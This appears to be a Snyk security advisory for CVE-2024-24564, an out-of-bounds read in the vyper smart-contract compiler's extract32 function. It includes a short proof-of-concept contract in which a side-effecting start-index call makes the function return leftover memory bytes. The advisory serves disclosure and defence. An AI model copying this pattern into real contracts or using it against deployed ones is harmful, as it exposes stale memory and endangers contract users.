Out-of-bounds Read Affecting vyper package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (10th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-VYPER-6277565
- published 27 Feb 2024
- disclosed 26 Feb 2024
- credit trocher
Introduced: 26 Feb 2024
CVE-2024-24564 Open this link in a new tabHow to fix?
There is no fixed version for vyper.
Overview
vyper is a Pythonic Smart Contract Language for the EVM.
Affected versions of this package are vulnerable to Out-of-bounds Read due to the extract32 function's caching mechanism. An attacker can access and return dirty memory bytes instead of the expected output by manipulating the start index to change b's content and length.
PoC
var:Bytes[96]
@internal
def bar() -> uint256:
self.var = b'uuuuuuuuuuuuuuuuuuuuuuuuuuuuuu'
self.var = b''
return 3
@external
def foo() -> bytes32:
self.var = b'abcdefghijklmnopqrstuvwxyz123456789'
return extract32(self.var, self.bar(), output_type=bytes32)
# returns b'uuuuuuuuuuuuuuuuuuuuuuuuuuu\x00\x00789'
References
CVSS Scores
version 3.1